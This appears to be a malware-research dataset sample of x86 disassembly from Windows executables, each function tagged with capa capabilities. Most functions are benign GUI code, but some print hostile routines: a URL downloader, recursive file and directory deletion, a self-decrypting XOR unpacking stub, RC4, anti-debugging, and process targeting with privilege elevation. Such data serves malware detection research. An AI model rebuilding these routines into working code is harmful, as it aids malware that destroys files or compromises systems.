joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43d5a0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x491738
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.0048a86e
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.0043cf00
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.0048a79c
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.00487091
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.00487091
push 1
push 0
push 0
mov ecx, esi
call fcn.00487039
push 1
push 0
push 1
mov ecx, esi
call fcn.00487039
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.0048a8e0
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x43d720
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x491758
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.0048a86e
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.0043cf00
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.0048a79c
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x43d7e4
cmp dword [esp + 0x40], 1
jne 0x43d7e2
cmp ecx, eax
jge 0x43d7e4
mov eax, ecx
cmp eax, 0xc8
jge 0x43d7f0
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.0043d5a0
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.0048a8e0
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x43dfe0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x491803
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.004854c8
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], method.CBrush.virtual_0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.0048ab16
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.0048c032
test eax, eax
je 0x43e0fc
mov ecx, dword [esp + 0x3c]
call fcn.0048ab43
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x43e0c0
push edi
mov ecx, esi
call fcn.004881b0
mov ecx, esi
call fcn.0043e2a0
cmp dword [esp + 0x38], 1
jne 0x43e0f5
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.004882eb
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x440310
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x440343
push esi
call fcn.0044e6b0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x44033c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x4403c9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x4403b2
mov eax, dword [esi + 8]
test eax, eax
je 0x440367
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x4403ae
cmp eax, 2
je 0x4403b2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x44035a
cmp eax, 3
je 0x44038d
cmp eax, 1
jne 0x44035a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x44035a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x44035a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.004403f0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x4403d8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.004403f0
add esp, 4
pop esi
ret

Function at 0x440c60
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x440c81
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x440c81
mov eax, dword [eax + 0x44]
test eax, eax
je 0x440c81
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x45e3b0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0xfa22c0]
xor edx, edx
cmp eax, edx
jne 0x45e3d6
xor eax, eax
mov byte [eax + 0xfa21c0], al
inc eax
cmp eax, 0x100
jl 0x45e3be
mov dword [0xfa22c0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0xfa21c0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x45e467
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x45e43a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x45e408
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x45e4e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x45e533
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x45e51a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x464eb0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x491d0e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.004657d0
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0xf65e34
call fcn.00483c5b
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x464f43
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00483c5b
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x464f3c
push 0
mov ecx, eax
call fcn.0045bfe0
mov dword [esi + 0xc], eax
jmp 0x464f45
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x464f45
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x4862a4
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4862dc
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00484375
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0048434d
jmp 0x4862e8
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x487999
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4879db
call fcn.0048d317
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4879db
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4879d2
xor eax, eax
jmp 0x4879e3
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004879e9
pop edi
pop esi
pop ebx
ret 4
Function at 0x48d847
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x48d875
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x48d893
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0048d7ad
jmp 0x48d893
mov eax, dword [esi + 0x14]
test eax, eax
je 0x48d893
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0048d7ad
test edi, edi
mov eax, edi
jne 0x48d87d
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x4016b0
Capabilities:
Enumerate processes
Execute command

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x23c
mov eax, dword [0x405004]
xor eax, esp
mov dword [esp + 0x238], eax
push ebx
push esi
push edi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push edi
push 2
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x4017c9
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x40175b
mov eax, str.RobloxPlayerBeta.exe
lea ecx, [esp + 0x34]
nop dword [eax]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x401736
test dx, dx
je 0x401732
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x401736
add ecx, 4
add eax, 4
test dx, dx
jne 0x401710
xor eax, eax
jmp 0x40173b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401747
mov eax, dword [esp + 0x18]
cmp eax, ebx
jne 0x401759
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x401703
jmp 0x40175b
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x4017c9
mov ecx, edi
call fcn.00401420
push 0x401b50
push edi
test al, al
je 0x401784
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Privileges_elevated_successfully_for_process_with_ID
jmp 0x40178f
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_elevate_privileges_for_process_with_ID
call fcn.00401930
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x238]
xor ecx, esp
call fcn.00401e5c
mov esp, ebp
pop ebp
ret
push 0x401b50
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Target_process_not_found.
call fcn.00401930
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [esp + 0x244]
mov eax, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401e5c
mov esp, ebp
pop ebp
ret
Function at 0x402710
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40274f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40274f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40274f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40274f
cmp dword [ecx + 0x74], 0xe
jbe 0x40274f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4014f0
Capabilities:
Create thread

Disassembly:
mov eax, dword [ecx + 0x38]
sub esp, 8
test eax, eax
je 0x401507
mov edx, dword [ecx + 0x3c]
sub edx, eax
test edx, 0xffffffc0
jne 0x40150d
xor eax, eax
add esp, 8
ret
lea eax, [esp + 4]
push esi
push eax
push 0
push ecx
push 0x4014e0
push 0
push 0
call fcn.004047fe
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 4]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 4]
xor edx, edx
cmp edx, esi
pop esi
sbb eax, eax
neg eax
add esp, 8
ret

Function at 0x401570
Capabilities:
Create thread

Disassembly:
sub esp, 8
lea eax, [esp + 4]
push esi
push eax
push 0
push ecx
push 0x401560
push 0
push 0
call fcn.004047fe
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 4]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 4]
xor edx, edx
cmp edx, esi
pop esi
sbb eax, eax
neg eax
add esp, 8
ret
Function at 0x4015c0
Capabilities:
Download url
Receive data

Disassembly:
sub esp, 0x18
push ebx
mov ebx, ecx
push esi
push edi
mov esi, dword [ebx + 0x38]
mov ecx, dword [ebx + 0x3c]
xor edi, edi
xor eax, eax
cmp esi, ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], esi
je 0x4016f6
push ebp
lea ebp, [esi + 0x24]
cmp dword [ebp + 0x18], edi
jne 0x4016e0
mov eax, dword [ebx + 0x28]
cmp eax, edi
jne 0x4015fb
mov eax, 0x40b1a0
push esi
push eax
lea eax, [esp + 0x20]
push eax
call fcn.00403c30
mov eax, dword [esp + 0x28]
add esp, 0xc
cmp eax, edi
mov ecx, 0x40b1a0
je 0x401619
mov ecx, eax
mov eax, dword [ebp - 0x10]
cmp eax, edi
jne 0x401625
mov eax, 0x40b1a0
push edi
push edi
push ecx
push eax
push edi
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jne 0x4016ac
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x1c]
inc edx
cmp eax, edi
mov dword [esp + 0x10], edx
mov dword [ebp + 0x18], 1
jne 0x401650
mov eax, 0x40b1a0
push edi
push 0x80
push 3
push edi
push edi
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edi, [ebp + 0xc]
mov esi, eax
push edi
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0x18]
test eax, eax
jne 0x40168a
mov eax, 0x40b1a0
mov ecx, dword [ebp]
test ecx, ecx
jne 0x401696
mov ecx, 0x40b1a0
push eax
push 0x10
push edi
push ecx
push str.FILE
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructA]
mov esi, dword [esp + 0x14]
xor edi, edi
mov ecx, dword [esp + 0x1c]
cmp ecx, edi
je 0x4016d0
mov al, byte [ecx - 1]
test al, al
je 0x4016c6
cmp al, 0xff
je 0x4016c6
dec al
mov byte [ecx - 1], al
jmp 0x4016d0
dec ecx
push ecx
call fcn.00404090
add esp, 4
mov eax, dword [esp + 0x10]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], edi
mov dword [esp + 0x24], edi
mov ecx, dword [ebx + 0x3c]
add esi, 0x40
add ebp, 0x40
cmp esi, ecx
mov dword [esp + 0x14], esi
jne 0x4015e6
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x18
ret
Function at 0x401e10
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x550
lea eax, [esp + 0x348]
push ebx
push ebp
mov ebp, dword [esp + 0x55c]
push esi
push edi
push ebp
push str._s.
push eax
call fcn.00404937
add esp, 0xc
lea ecx, [esp + 0x10]
lea edx, [esp + 0x358]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x401f5e
lea eax, [esp + 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x401f5e
cmp byte [esp + 0x3c], 0x2e
jne 0x401e84
mov al, byte [esp + 0x3d]
test al, al
je 0x401e55
cmp al, 0x2e
jne 0x401e84
mov al, byte [esp + 0x3e]
test al, al
je 0x401e55
lea edi, [esp + 0x3c]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x254]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov al, byte [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x254]
push ecx
push ebp
test al, 0x10
push str._s_s
je 0x401ee8
lea edx, [esp + 0x468]
push edx
call fcn.00404937
lea eax, [esp + 0x46c]
push eax
call fcn.00401e10
add esp, 0x14
test eax, eax
je 0x401f51
jmp 0x401e55
lea edx, [esp + 0x15c]
push edx
call fcn.00404937
add esp, 0x10
lea eax, [esp + 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x401e55
mov edi, 0x40d140
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x150]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [0x40dfb8]
mov ecx, edx
and ecx, 3
inc eax
cmp eax, 3
mov dword [0x40dfb8], eax
rep movsb byte es:[edi], byte [esi]
jl 0x401e55
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x550
ret
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebp
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x401f76
inc dword [0x40dfb8]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x550
ret
Function at 0x401f90
Capabilities:
Check if file exists
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0
push 0x1c
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov ecx, dword [esp + 0x108]
push 0x5c
push ecx
call fcn.004049a0
mov edx, eax
add esp, 8
test edx, edx
je 0x402058
push ebx
push ebp
push esi
push edi
mov edi, str.VirtualStore
or ecx, 0xffffffff
xor eax, eax
lea ebx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea ebx, [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xfffffffe
pop edi
pop esi
pop ebp
lea eax, [esp + ecx + 4]
pop ebx
cmp byte [eax], 0x5c
jne 0x40203c
mov byte [eax], 0
lea eax, [esp]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x402058
lea ecx, [esp]
push ecx
call fcn.00401e10
add esp, 4
add esp, 0x104
ret